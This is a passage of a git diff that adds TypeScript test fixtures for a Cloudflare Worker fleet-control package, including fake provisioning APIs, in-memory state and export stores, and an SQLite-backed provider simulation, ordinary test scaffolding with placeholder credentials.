+    maintenanceBaseUrl: 'https://control-acme.example.test',
+    routeHostname: 'acme.example.test',
+    application: { vars: [], secrets: [], r2Buckets: [] },
+    ...overrides,
+  };
+}
+
+export function uploadIntentForSpec(
+  spec: DeploymentSpec,
+  databaseId: string,
+  mode: 'initial' | 'staged',
+  secrets: DeploymentSecrets = sharedSecrets,
+): PlainWorkerUploadIntent {
+  const ingress = plainWorkerIngressModule(spec);
+  const base = {
+    scriptName: spec.scriptName,
+    candidateTag: deploymentSpecDigest(spec),
+    mainModule: ingress.name,
+    modules: [...spec.modules, ingress],
+    compatibilityDate: spec.compatibilityDate,
+    compatibilityFlags: spec.compatibilityFlags,
+    bindings: {
+      plainText: [
+        { name: 'DEPLOYMENT_TENANT', value: spec.tenantTag },
+        { name: 'FLEET_ENVIRONMENT', value: spec.environment },
+        { name: 'FLEET_SCHEMA_VERSION', value: String(spec.schemaVersion) },
+        { name: 'FLEET_SPEC_DIGEST', value: deploymentSpecDigest(spec) },
+        { name: 'FLEET_INGRESS_CONTRACT', value: 'guarded-object-v1' },
+        ...(spec.application?.vars ?? []),
+      ],
+      secrets: [
+        {
+          name: 'DEPLOYMENT_IDENTITY_SECRET',
+          value: secrets.deploymentIdentity,
+        },
+        { name: 'MAINTENANCE_ADMIN_SECRET', value: secrets.maintenanceAdmin },
+        ...Object.entries(secrets.application ?? {}).map(([name, value]) => ({
+          name,
+          value,
+        })),
+      ],
+      d1: [{ name: 'DB', databaseId, databaseName: spec.databaseName }],
+      durableObjects: spec.durableObjectBindings.map(({ name, className }) => ({
+        name,
+        className,
+      })),
+      services: spec.egressProxyService
+        ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }]
+        : [],
+      queueProducers: spec.queueProducer
+        ? [
+            {
+              name: spec.queueProducer.binding,
+              queueName: spec.queueProducer.queueName,
+            },
+          ]
+        : [],
+      r2Buckets: [],
+    },
+    limits: {
+      cpuMs: spec.cpuLimitMs,
+      ...(spec.subrequestLimit !== undefined
+        ? { subrequests: spec.subrequestLimit }
+        : {}),
+    },
+    publicAccess: {
+      workersDevEnabled: true,
+      previewUrlsEnabled: false,
+    },
+  };
+  return mode === 'initial'
+    ? {
+        ...base,
+        mode,
+        durableObjectMigrations: spec.durableObjectMigrations,
+      }
+    : { ...base, mode };
+}
+
+export function seedWorkerFromSpec(
+  world: ProviderWorld,
+  options: {
+    readonly spec?: DeploymentSpec;
+    readonly databaseId?: string;
+    readonly mode?: 'initial' | 'staged';
+    readonly secrets?: DeploymentSecrets;
+  } = {},
+) {
+  const spec = options.spec ?? buildPlainWorkerSpec();
+  let databaseId = options.databaseId;
+  if (databaseId === undefined) {
+    databaseId = world.databases.find(
+      (database) => database.name === spec.databaseName,
+    )?.databaseId;
+    databaseId ??= world.seedDatabase(spec.databaseName).databaseId;
+  } else if (
+    !world.databases.some((database) => database.databaseId === databaseId)
+  ) {
+    world.seedDatabase(spec.databaseName, { databaseId });
+  }
+  const intent = uploadIntentForSpec(
+    spec,
+    databaseId,
+    options.mode ?? 'initial',
+    options.secrets,
+  );
+  return world.applyUpload({
+    scriptName: intent.scriptName,
+    mode: intent.mode,
+    tag: intent.candidateTag,
+    bindings: uploadIntentToProviderBindings(intent),
+    mainModule: intent.mainModule,
+    modules: intent.modules,
+    publicAccess: intent.publicAccess,
+  });
+}
+
+export class HarnessFleetStore implements FleetStateStore {
+  record: FleetRecord | undefined;
+  failPutPhase: FleetRecord['phase'] | undefined;
+  readonly receipts = new Map<string, CleanupTerminalReceipt>();
+  #completedAtMs = 1_000;
+  readonly phases: FleetRecord['phase'][] = [];
+  readonly snapshots: Array<{
+    readonly record: FleetRecord;
+    readonly world: ProviderWorld;
+  }> = [];
+  #leased = false;
+  readonly #snapshot: boolean;
+
+  constructor(
+    readonly world: ProviderWorld,
+    initial?: FleetRecord,
+    options: { readonly snapshot?: boolean } = {},
+  ) {
+    this.record = initial ? structuredClone(initial) : undefined;
+    this.#snapshot = options.snapshot === true;
+  }
+
+  async withDeploymentLease<T>(
+    tenantTag: string,
+    environment: string,
+    operation: (lease: FleetStateLease) => Promise<T>,
+  ): Promise<T> {
+    if (this.#leased) throw new Error('deployment is already being modified');
+    this.#leased = true;
+    try {
+      return await operation({
+        tenantTag,
+        environment,
+        mutationLeaseTtlMs: 15 * 60_000,
+        assertOwned: async () => {},
+        renew: async () => {},
+        put: (record) => this.put(record),
+        delete: () => this.delete(),
+        completeCleanup: (input) => this.completeCleanup(input),
+      });
+    } finally {
+      this.#leased = false;
+    }
+  }
+
+  async completeCleanup(input: {
+    receipt: CleanupTerminalReceipt;
+    expectedRevision: number;
+  }): Promise<CleanupTerminalReceipt> {
+    const current = this.record;
+    if (
+      current?.phase !== 'cleanup-advancing' ||
+      current.cleanupIntent?.operationId !== input.receipt.operationId ||
+      current.cleanupIntent.revision !== input.expectedRevision
+    ) {
+      const existing = this.receipts.get(input.receipt.operationId);
+      if (existing) return structuredClone(existing);
+      throw new Error(
+        `cleanup receipt conflict for operation '${input.receipt.operationId}'`,
+      );
+    }
+    const persisted = {
+      ...structuredClone(input.receipt),
+      completedAtMs: this.#completedAtMs,
+    };
+    this.#completedAtMs += 1;
+    this.receipts.set(persisted.operationId, persisted);
+    this.record = undefined;
+    return structuredClone(persisted);
+  }
+
+  async readCleanupReceipt(
+    operationId: string,
+  ): Promise<CleanupTerminalReceipt | undefined> {
+    const receipt = this.receipts.get(operationId);
+    return receipt ? structuredClone(receipt) : undefined;
+  }
+
+  async get(): Promise<FleetRecord | undefined> {
+    return this.record ? structuredClone(this.record) : undefined;
+  }
+
+  async list(): Promise<readonly FleetRecord[]> {
+    return this.record ? [structuredClone(this.record)] : [];
+  }
+
+  async put(record: FleetRecord): Promise<void> {
+    if (
+      this.failPutPhase === record.phase ||
+      this.failPutPhase === effectiveLifecyclePhase(record)
+    ) {
+      const failedPhase = this.failPutPhase;
+      this.failPutPhase = undefined;
+      throw new Error(`failed state write at ${failedPhase}`);
+    }
+    this.record = structuredClone(record);
+    this.phases.push(record.phase);
+    if (this.#snapshot) {
+      this.snapshots.push({
+        record: structuredClone(record),
+        world: this.world.clone(),
+      });
+    }
+  }
+
+  async delete(): Promise<void> {
+    this.record = undefined;
+  }
+}
+
+export class HarnessExportStore implements DurableDatabaseExportStore {
+  readonly receiptAuthority = 'memory://fleet-exports/receipts/v1';
+  readonly exports = new Map<
+    string,
+    { readonly fileName: string; readonly bytes: Uint8Array }
+  >();
+  readonly receipts = new Map<
+    string,
+    Readonly<{
+      identity: DatabaseExportReceiptIdentity;
+      location: string;
+      size: number;
+      sha256: string;
+    }>
+  >();
+
+  async #readBody(body: ReadableStream<Uint8Array>): Promise<Uint8Array> {
+    const chunks: Uint8Array[] = [];
+    const reader = body.getReader();
+    for (;;) {
+      const chunk = await reader.read();
+      if (chunk.done) break;
+      chunks.push(chunk.value);
+    }
+    return new Uint8Array(Buffer.concat(chunks));
+  }
+
+  async write(input: {
+    readonly databaseId: string;
+    readonly fileName: string;
+    readonly body: ReadableStream<Uint8Array>;
+  }): Promise<{ location: string; size: number; sha256: string }> {
+    const bytes = await this.#readBody(input.body);
+    this.exports.set(input.databaseId, {
+      fileName: input.fileName,
+      bytes,
+    });
+    return {
+      location: `memory://fleet-exports/${input.databaseId}/${input.fileName}`,
+      size: bytes.byteLength,
+      sha256: createHash('sha256').update(bytes).digest('hex'),
+    };
+  }
+
+  async writeReceipt(input: {
+    readonly identity: DatabaseExportReceiptIdentity;
+    readonly body: ReadableStream<Uint8Array>;
+    readonly contentLength?: number;
+    readonly expectedIntegrity: Promise<{
+      readonly size: number;
+      readonly sha256: string;
+    }>;
+  }): Promise<{ location: string; size: number; sha256: string }> {
+    const identity = databaseExportReceiptIdentityFromUnknown(
+      input.identity,
+      this.receiptAuthority,
+    );
+    const expectedPromise = captureDatabaseExportIntegrityPromise(
+      input.expectedIntegrity,
+    );
+    const bytes = await this.#readBody(input.body);
+    const expected = await expectedPromise;
+    const integrity = {
+      size: bytes.byteLength,
+      sha256: createHash('sha256').update(bytes).digest('hex'),
+    };
+    if (
+      integrity.size !== expected.size ||
+      integrity.sha256 !== expected.sha256
+    ) {
+      throw databaseExportReceiptError('source-mismatch');
+    }
+    const key = `${identity.databaseId}:${identity.operationId}`;
+    const winner = this.receipts.get(key);
+    if (winner) {
+      if (
+        winner.identity.authority !== identity.authority ||
+        winner.identity.databaseId !== identity.databaseId ||
+        winner.identity.operationId !== identity.operationId ||
+        winner.size !== integrity.size ||
+        winner.sha256 !== integrity.sha256
+      ) {
+        throw databaseExportReceiptError('collision');
+      }
+      return {
+        location: winner.location,
+        size: winner.size,
+        sha256: winner.sha256,
+      };
+    }
+    const location = `${this.receiptAuthority}/${identity.databaseId}/${identity.operationId}.sql`;
+    this.receipts.set(key, {
+      identity,
+      location,
+      ...integrity,
+    });
+    this.exports.set(identity.databaseId, {
+      fileName: `${identity.operationId}.sql`,
+      bytes,
+    });
+    return { location, ...integrity };
+  }
+}
+
+type ProjectedFetch = ReturnType<typeof recordingFetch>;
+
+export function plainOnlyClient(
+  projected: ProjectedFetch,
+  exportStore: DurableDatabaseExportStore,
+): CloudflareProvisioningClient {
+  return new CloudflareProvisioningClient({
+    accountId: 'account',
+    apiToken: 'token',
+    plane: 'plain-worker',
+    rateCoordinator: testRateCoordinator(),
+    fetch: projected.fetch,
+    requestTimeoutMs: 10_000,
+    exportStore,
+  });
+}
+
+export interface PlainWorkerHarness {
+  readonly backend: ProvisioningBackend;
+  readonly world: ProviderWorld;
+  readonly exportStore: HarnessExportStore;
+  readonly store: HarnessFleetStore;
+  /** Every provider request this harness's backend dispatched, in order. */
+  readonly requests: readonly CloudflareFetchRecord[];
+  readonly exportDirectory?: string;
+}
+
+interface PlainWorkerHarnessOptions {
+  readonly maintenanceRequestTimeoutMs?: number;
+  readonly snapshot?: boolean;
+}
+
+const liveWorlds = new Set<ProviderWorld>();
+
+export function assertHarnessFailuresConsumed(): void {
+  const pending = [...liveWorlds].flatMap((world, index) => {
+    const hooks = world.pendingHookNames();
+    return hooks.length === 0 ? [] : [`world ${index}: ${hooks.join(', ')}`];
+  });
+  liveWorlds.clear();
+  if (pending.length > 0) {
+    throw new Error(`unconsumed provider hooks: ${pending.join('; ')}`);
+  }
+}
+
+export function wranglerHarness(
+  world: ProviderWorld = providerWorld('uuid'),
+  options: PlainWorkerHarnessOptions = {},
+): PlainWorkerHarness & { readonly exportDirectory: string } {
+  const exportStore = new HarnessExportStore();
+  const projected = recordingFetch(restProjection(world));
+  const client = plainOnlyClient(projected, exportStore);
+  const exportDirectory = mkdtempSync(
+    join(tmpdir(), 'fleet-conformance-export-'),
+  );
+  liveWorlds.add(world);
+  return {
+    backend: new WranglerLoopBackend({
+      runner: cliProjection(world),
+      routeApi: client,
+      fetch: projected.fetch,
+      exportDirectory,
+      exportStore,
+      maintenanceRequestTimeoutMs:
+        options.maintenanceRequestTimeoutMs ?? 60_000,
+    }),
+    world,
+    exportStore,
+    store: new HarnessFleetStore(world, undefined, {
+      snapshot: options.snapshot,
+    }),
+    requests: projected.requests,
+    exportDirectory,
+  };
+}
+
+export function directHarness(
+  world: ProviderWorld = providerWorld('uuid'),
+  options: PlainWorkerHarnessOptions = {},
+): PlainWorkerHarness {
+  const exportStore = new HarnessExportStore();
+  const projected = recordingFetch(restProjection(world));
+  const client = plainOnlyClient(projected, exportStore);
+  liveWorlds.add(world);
+  return {
+    backend: new CloudflareApiPlainWorkerBackend({
+      client,
+      fetch: projected.fetch,
+      maintenanceRequestTimeoutMs:
+        options.maintenanceRequestTimeoutMs ?? 60_000,
+    }),
+    world,
+    exportStore,
+    store: new HarnessFleetStore(world, undefined, {
+      snapshot: options.snapshot,
+    }),
+    requests: projected.requests,
+  };
+}
+
+/**
+ * Collects `world`'s fleet inventory over the same plain-Worker client the
+ * harnesses use, for a suite that needs a finalized generation rather than a
+ * backend.
+ */
+export function collectWorldInventory(
+  world: ProviderWorld,
+): Promise<FleetResourceInventory> {
+  return plainOnlyClient(
+    recordingFetch(restProjection(world)),
+    new HarnessExportStore(),
+  ).collectFleetInventory({
+    databaseNamePrefix: 'fleet-',
+    scriptNamePrefix: 'fleet-',
+    includeDispatchNamespace: false,
+  });
+}
+
+export function hostileCauseProxy(): object {
+  return new Proxy(
+    {},
+    {
+      getPrototypeOf() {
+        throw new Error('hostile getPrototypeOf trap');
+      },
+    },
+  );
+}
+
+export function malformedErrorsBody(): Response {
+  return Response.json(
+    { success: false, errors: { message: 'not an array' } },
+    { status: 400 },
+  );
+}
+
+export function throwingConstructorError(
+  message = 'hostile constructor getter',
+): Error {
+  const error = new Error(message);
+  Object.defineProperty(error, 'constructor', {
+    get() {
+      throw new Error('constructor access refused');
+    },
+  });
+  return error;
+}
diff --git a/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts b/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts
new file mode 100644
index 00000000..c7449107
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts
@@ -0,0 +1,97 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { vi } from 'vitest';
+import type { DurableDatabaseExportStore } from '../../src/cloudflare-client.js';
+import type {
+  ExternalMutationFence,
+  PlainWorkerRouteApi,
+} from '../../src/types.js';
+
+export function routeApi(
+  overrides: Partial<PlainWorkerRouteApi> = {},
+): PlainWorkerRouteApi {
+  return {
+    async withMutationFence(fence, operation) {
+      // Models the tolerated legacy entry-asserting shape from
+      // test/wrangler-loop-backend.test.ts:201-206. Real adapters are required
+      // only to assert each mutating request; B2's conformance fixture should
+      // default to the non-asserting production shape.
+      await fence.assertOwned();
+      return operation();
+    },
+    async queryDatabase() {
+      return [];
+    },
+    async batchDatabase() {},
+    async listWorkerDatabaseAttachments() {
+      return [];
+    },
+    async inspectActiveWorkerRoute() {
+      return undefined;
+    },
+    async listCustomDomains() {
+      return [];
+    },
+    async inspectOrdinaryWorkerFootprint() {
+      return { scriptPresent: false, customDomains: [], zoneRoutes: [] };
+    },
+    async listDurableObjectNamespaces() {
+      return [];
+    },
+    async listOrdinaryWorkerSecretNames() {
+      return [];
+    },
+    async deleteControlSecrets() {},
+    async attachCustomDomain() {},
+    async detachCustomDomain() {},
+    async disableOrdinaryWorkerPublicAccess() {},
+    ...overrides,
+  };
+}
+
+export function mutationFence(
+  assertOwned = vi.fn(async () => {}),
+): ExternalMutationFence {
+  return { mutationLeaseTtlMs: 15 * 60_000, assertOwned };
+}
+
+export async function rejectedValue(
+  operation: Promise<unknown>,
+): Promise<unknown> {
+  try {
+    await operation;
+  } catch (error) {
+    return error;
+  }
+  throw new Error('expected rejection');
+}
+
+export async function drain(body: ReadableStream<Uint8Array>): Promise<{
+  readonly size: number;
+  readonly sha256: string;
+}> {
+  const chunks: Uint8Array[] = [];
+  const reader = body.getReader();
+  for (;;) {
+    const chunk = await reader.read();
+    if (chunk.done) break;
+    chunks.push(chunk.value);
+  }
+  const bytes = Buffer.concat(chunks);
+  return {
+    size: bytes.byteLength,
+    sha256: createHash('sha256').update(bytes).digest('hex'),
+  };
+}
+
+export function memoryStore(
+  location = 'memory://export',
+): DurableDatabaseExportStore {
+  return {
+    async write(input) {
+      const committed = await drain(input.body);
+      return { location, size: committed.size, sha256: committed.sha256 };
+    },
+  };
+}
diff --git a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts
new file mode 100644
index 00000000..70687a68
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts
@@ -0,0 +1,423 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  ApplicationR2Binding,
+  ApplicationR2BucketSnapshot,
+  DatabaseReference,
+  ExternalMutationFence,
+  PlainWorkerCleanupOutcome,
+  PlainWorkerCustomDomain,
+  PlainWorkerDatabaseExportResult,
+  PlainWorkerDatabaseInventoryEntry,
+  PlainWorkerDeploymentStatus,
+  PlainWorkerMutationOutcome,
+  PlainWorkerProvisioningApi,
+  PlainWorkerUploadIntent,
+  PlainWorkerUploadOutcome,
+  PlainWorkerVersionDetail,
+  PlainWorkerVersionSummary,
+  R2Jurisdiction,
+  WorkerZoneRoute,
+} from '../../src/types.js';
+
+/**
+ * `entry` adds an assertion on `withMutationFence` entry in addition to the
+ * per-request assertion. The probe fixture's entry-asserting shape instead
+ * models one legacy entry assertion without per-request assertions.
+ */
+export type FenceAssertionMode = 'entry' | 'per-request';
+
+export class PlainWorkerProvisioningApiFake
+  implements PlainWorkerProvisioningApi
+{
+  readonly maxMutationDurationMs: number;
+  readonly supportsExactDatabaseDeletion = true;
+  readonly events: string[] = [];
+  readonly failures = new Map<string, unknown>();
+  // absent, exportResult, and createDeploymentOutcome's failure arm are
+  // deliberately unexercised seed state for the direct-API conformance
+  // fixture.
+  readonly absent = new Set<string>();
+  readonly scripts = new Set<string>();
+  readonly databases = new Map<string, DatabaseReference>();
+  readonly listDatabaseFilters: (Readonly<{ name?: string }> | undefined)[] =
+    [];
+  readonly versions = new Map<string, PlainWorkerVersionDetail[]>();
+  readonly deployments = new Map<string, PlainWorkerDeploymentStatus>();
+  readonly domains: PlainWorkerCustomDomain[] = [];
+  readonly buckets = new Map<string, ApplicationR2BucketSnapshot>();
+  readonly secretNames = new Map<string, string[]>();
+  readonly namespaces = new Map<string, string[]>();
+  readonly footprints = new Map<
+    string,
+    {
+      scriptPresent: boolean;
+      workersDevEnabled?: boolean;
+      previewUrlsEnabled?: boolean;
+      customDomains: readonly PlainWorkerCustomDomain[];
+      zoneRoutes: readonly WorkerZoneRoute[];
+    }
+  >();
+  readonly queries: Array<{
+    databaseId: string;
+    sql: string;
+    bindings: readonly string[];
+  }> = [];
+  uploadCleanup: PlainWorkerCleanupOutcome = { status: 'succeeded' };
+  createDatabaseOutcome: PlainWorkerMutationOutcome = { status: 'succeeded' };
+  uploadOutcome: PlainWorkerMutationOutcome = { status: 'succeeded' };
+  createDeploymentOutcome: PlainWorkerMutationOutcome = {
+    status: 'succeeded',
+  };
+  exportResult: PlainWorkerDatabaseExportResult = {
+    location: 'memory://database-export',
+    size: 0,
+    sha256: '0'.repeat(64),
+  };
+  activeRoute:
+    | Readonly<{
+        artifactVersion: string;
+        specDigest: string | undefined;
+      }>
+    | undefined;
+  onUploadCandidate:
+    | ((intent: PlainWorkerUploadIntent) => void | Promise<void>)
+    | undefined;
+  onDeleteControlSecrets:
+    | ((secretNames: readonly string[]) => void | Promise<void>)
+    | undefined;
+  onDeleteWorkerScript: (() => void | Promise<void>) | undefined;
+
+  #ambientFence: ExternalMutationFence | undefined;
+  // A backend-owned assertion records `assertOwned`; suppress the port's own
+  // assertion while it runs so the port records only `port-assert`.
+  #portAssertionActive = false;
+
+  constructor(
+    readonly fenceAssertionMode: FenceAssertionMode = 'per-request',
+    maxMutationDurationMs = 5 * 60_000,
+  ) {
+    this.maxMutationDurationMs = maxMutationDurationMs;
+  }
+
+  fence(): ExternalMutationFence {
+    return {
+      mutationLeaseTtlMs: 15 * 60_000,
+      assertOwned: async () => {
+        if (!this.#portAssertionActive) this.events.push('assertOwned');
+      },
+    };
+  }
+
+  async #assertPortOwned(fence: ExternalMutationFence): Promise<void> {
+    this.events.push('port-assert');
+    this.#portAssertionActive = true;
+    try {
+      await fence.assertOwned();
+    } finally {
+      this.#portAssertionActive = false;
+    }
+  }
+
+  async #request(
+    name: string,
+    fence: ExternalMutationFence | undefined,
+  ): Promise<void> {
+    const activeFence = fence ?? this.#ambientFence;
+    if (activeFence) {
+      await this.#assertPortOwned(activeFence);
+    }
+    this.events.push(`mutation:${name}`);
+    if (this.failures.has(name)) throw this.failures.get(name);
+  }
+
+  async withMutationFence<T>(
+    fence: ExternalMutationFence,
+    operation: () => Promise<T>,
+  ): Promise<T> {
+    const prior = this.#ambientFence;
+    this.#ambientFence = fence;
+    try {
+      if (this.fenceAssertionMode === 'entry') {
+        await this.#assertPortOwned(fence);
+      }
+      return await operation();
+    } finally {
+      this.#ambientFence = prior;
+    }
+  }
+
+  async queryDatabase(
+    databaseId: string,
+    sql: string,
+    bindings: readonly string[] = [],
+  ): Promise<readonly Readonly<Record<string, unknown>>[]> {
+    await this.#request('queryDatabase', undefined);
+    this.queries.push({ databaseId, sql, bindings });
+    return [];
+  }
+
+  async batchDatabase(): Promise<void> {
+    await this.#request('batchDatabase', undefined);
+  }
+
+  async listDatabases(
+    filter?: Readonly<{ name?: string }>,
+  ): Promise<readonly PlainWorkerDatabaseInventoryEntry[]> {
+    this.listDatabaseFilters.push(filter);
+    // Include partial matches to exercise the core's exact-name check.
+    return [...this.databases.values()]
+      .filter(
+        ({ name }) => filter?.name === undefined || name.includes(filter.name),
+      )
+      .map(({ id, name }) => ({
+        databaseId: id,
+        name,
+      }));
+  }
+
+  async getDatabase(
+    databaseId: string,
+  ): Promise<DatabaseReference | undefined> {
+    return this.absent.has(`database:${databaseId}`)
+      ? undefined
+      : this.databases.get(databaseId);
+  }
+
+  async createDatabase(
+    name: string,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerMutationOutcome> {
+    await this.#request('createDatabase', fence);
+    if (this.createDatabaseOutcome.status === 'succeeded') {
+      // A provider database id is not its name. Keeping them unequal means a
+      // consumer that passes the name where an id belongs finds nothing.
+      const id = `db-${name}`;
+      this.databases.set(id, { id, name, created: false });
+    }
+    return this.createDatabaseOutcome;
+  }
+
+  async deleteDatabaseFenced(
+    databaseId: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#request('deleteDatabaseFenced', fence);
+    this.databases.delete(databaseId);
+  }
+
+  async deploymentStatus(
+    scriptName: string,
+  ): Promise<PlainWorkerDeploymentStatus | undefined> {
+    return this.absent.has(`deployment:${scriptName}`)
+      ? undefined
+      : this.deployments.get(scriptName);
+  }
+
+  async listVersions(
+    scriptName: string,
+  ): Promise<readonly PlainWorkerVersionSummary[] | undefined> {
+    if (this.absent.has(`versions:${scriptName}`)) return undefined;
+    const versions = this.versions.get(scriptName);
+    return versions?.map(({ versionId, tag }) => ({ versionId, tag }));
+  }
+
+  async viewVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail> {
+    const found = this.versions
+      .get(scriptName)
+      ?.find((version) => version.versionId === versionId);
+    if (!found) throw new Error(`version '${versionId}' is absent`);
+    return found;
+  }
+
+  async findVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail | undefined> {
+    return this.versions
+      .get(scriptName)
+      ?.find((version) => version.versionId === versionId);
+  }
+
+  async uploadCandidate(
+    intent: PlainWorkerUploadIntent,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerUploadOutcome> {
+    await this.#request('uploadCandidate', fence);
+    await this.onUploadCandidate?.(intent);
+    return { ...this.uploadOutcome, cleanup: this.uploadCleanup };
+  }
+
+  async createDeployment(
+    scriptName: string,
+    versions: readonly { versionId: string; percentage: number }[],
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerMutationOutcome> {
+    await this.#request('createDeployment', fence);
+    if (this.createDeploymentOutcome.status === 'succeeded') {
+      this.scripts.add(scriptName);
+      this.deployments.set(scriptName, {
+        versions: versions.map(({ versionId, percentage }) => ({
+          versionId,
+          percentage,
+        })),
+      });
+    }
+    return this.createDeploymentOutcome;
+  }
+
+  async deleteWorkerScript(
+    scriptName: string,
+    fence: ExternalMutationFence,
+  ): Promise<'deleted' | 'absent'> {
+    await this.#request('deleteWorkerScript', fence);
+    const hadVersions = this.versions.delete(scriptName);
+    const hadDeployment = this.deployments.delete(scriptName);
+    const hadScript = this.scripts.delete(scriptName);
+    const existed = hadVersions || hadDeployment || hadScript;
+    this.footprints.delete(scriptName);
+    await this.onDeleteWorkerScript?.();
+    return existed ? 'deleted' : 'absent';
+  }
+
+  async exportDatabase(
+    _database: { readonly id: string; readonly name: string },
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerDatabaseExportResult> {
+    await this.#request('exportDatabase', fence);
+    return this.exportResult;
+  }
+
+  async listWorkerDatabaseAttachments(): Promise<readonly []> {
+    return [];
+  }
+
+  async listWorkerR2Attachments(): Promise<readonly []> {
+    return [];
+  }
+
+  async getR2Bucket(
+    bucketName: string,
+    _jurisdiction: R2Jurisdiction,
+  ): Promise<ApplicationR2BucketSnapshot | undefined> {
+    return this.buckets.get(bucketName);
+  }
+
+  async createR2Bucket(
+    resource: ApplicationR2Binding,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#request('createR2Bucket', fence);
+    this.buckets.set(resource.bucketName, {
+      ...resource,
+      creationDate: '2026-08-26T00:00:00.000Z',
+    });
+  }
+
+  async assertR2BucketEmpty(): Promise<void> {}
+
+  async deleteR2Bucket(
+    resource: ApplicationR2Binding,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#request('deleteR2Bucket', fence);
+    this.buckets.delete(resource.bucketName);
+  }
+
+  async inspectActiveWorkerRoute(): Promise<
+    | Readonly<{
+        artifactVersion: string;
+        specDigest: string | undefined;
+      }>
+    | undefined
+  > {
+    return this.activeRoute;
+  }
+
+  async listCustomDomains(): Promise<readonly PlainWorkerCustomDomain[]> {
+    return [...this.domains];
+  }
+
+  async inspectOrdinaryWorkerFootprint(scriptName: string): Promise<{
+    readonly scriptPresent: boolean;
+    readonly workersDevEnabled?: boolean;
+    readonly previewUrlsEnabled?: boolean;
+    readonly customDomains: readonly PlainWorkerCustomDomain[];
+    readonly zoneRoutes: readonly WorkerZoneRoute[];
+  }> {
+    return (
+      this.footprints.get(scriptName) ?? {
+        scriptPresent:
+          this.scripts.has(scriptName) ||
+          this.versions.has(scriptName) ||
+          this.deployments.has(scriptName),
+        workersDevEnabled: false,
+        previewUrlsEnabled: false,
+        customDomains: this.domains.filter(
+          (domain) => domain.service === scriptName,
+        ),
+        zoneRoutes: [],
+      }
+    );
+  }
+
+  async listDurableObjectNamespaces(
+    scriptName: string,
+  ): Promise<readonly string[]> {
+    return this.namespaces.get(scriptName) ?? [];
+  }
+
+  async listOrdinaryWorkerSecretNames(
+    scriptName: string,
+  ): Promise<readonly string[]> {
+    return this.secretNames.get(scriptName) ?? [];
+  }
+
+  async deleteControlSecrets(
+    scriptName: string,
+    secretNames: readonly string[],
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#request('deleteControlSecrets', fence);
+    const remaining = (this.secretNames.get(scriptName) ?? []).filter(
+      (name) => !secretNames.includes(name),
+    );
+    this.secretNames.set(scriptName, remaining);
+    await this.onDeleteControlSecrets?.(secretNames);
+  }
+
+  async attachCustomDomain(
+    target: { readonly hostname: string; readonly service: string },
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#request('attachCustomDomain', fence);
+    // A provider domain id is not its hostname: detachment addresses the id,
+    // ownership checks the hostname, so the fixture keeps the two unequal.
+    this.domains.push({ id: `domain-${target.hostname}`, ...target });
+  }
+
+  async detachCustomDomain(
+    domainId: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#request('detachCustomDomain', fence);
+    const index = this.domains.findIndex(({ id }) => id === domainId);
+    if (index >= 0) this.domains.splice(index, 1);
+  }
+
+  async disableOrdinaryWorkerPublicAccess(
+    scriptName: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#request('disableOrdinaryWorkerPublicAccess', fence);
+    const footprint = await this.inspectOrdinaryWorkerFootprint(scriptName);
+    this.footprints.set(scriptName, {
+      ...footprint,
+      workersDevEnabled: false,
+      previewUrlsEnabled: false,
+    });
+  }
+}
diff --git a/packages/fleet-control/test/fixtures/provider-world.ts b/packages/fleet-control/test/fixtures/provider-world.ts
new file mode 100644
index 00000000..d9efb726
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/provider-world.ts
@@ -0,0 +1,717 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { WorkerModule } from '../../src/types.js';
+
+interface SqliteStatement {
+  all(...params: unknown[]): unknown[];
+}
+
+interface SqliteDatabase {
+  prepare(sql: string): SqliteStatement;
+  exec(sql: string): void;
+}
+
+export type SqliteBinding = string | number | null;
+
+interface RecordedStatement {
+  readonly sql: string;
+  readonly bindings: readonly SqliteBinding[];
+  readonly mode: 'prepare' | 'exec';
+}
+
+function openSqlite(): SqliteDatabase {
+  // getBuiltinModule avoids vite's resolver, which cannot resolve node:sqlite;
+  // node:sqlite has been unflagged since Node 22.13.
+  const getBuiltin = (
+    globalThis as {
+      process?: { getBuiltinModule?: (id: string) => unknown };
+    }
+  ).process?.getBuiltinModule;
+  if (!getBuiltin) {
+    throw new Error('node:sqlite unavailable — tests require node >= 22.13');
+  }
+  const sqlite = getBuiltin('node:sqlite') as {
+    DatabaseSync: new (path: string) => SqliteDatabase;
+  };
+  return new sqlite.DatabaseSync(':memory:');
+}
+
+export class D1State {
+  readonly #database = openSqlite();
+  readonly #statementLog: RecordedStatement[] = [];
+
+  queryDatabase(
+    sql: string,
+    bindings: readonly SqliteBinding[] = [],
+  ): readonly Readonly<Record<string, unknown>>[] {
+    const rows = this.#database.prepare(sql).all(...bindings);
+    this.#statementLog.push({ sql, bindings: [...bindings], mode: 'prepare' });
+    return rows.flatMap((row) =>
+      row && typeof row === 'object'
+        ? [row as Readonly<Record<string, unknown>>]
+        : [],
+    );
+  }
+
+  batchDatabase(
+    statements: readonly {
+      readonly sql: string;
+      readonly bindings?: readonly string[];
+    }[],
+  ): void {
+    const recorded: RecordedStatement[] = [];
+    this.#database.exec('BEGIN');
+    try {
+      for (const statement of statements) {
+        const bindings = statement.bindings ?? [];
+        if (bindings.length === 0) {
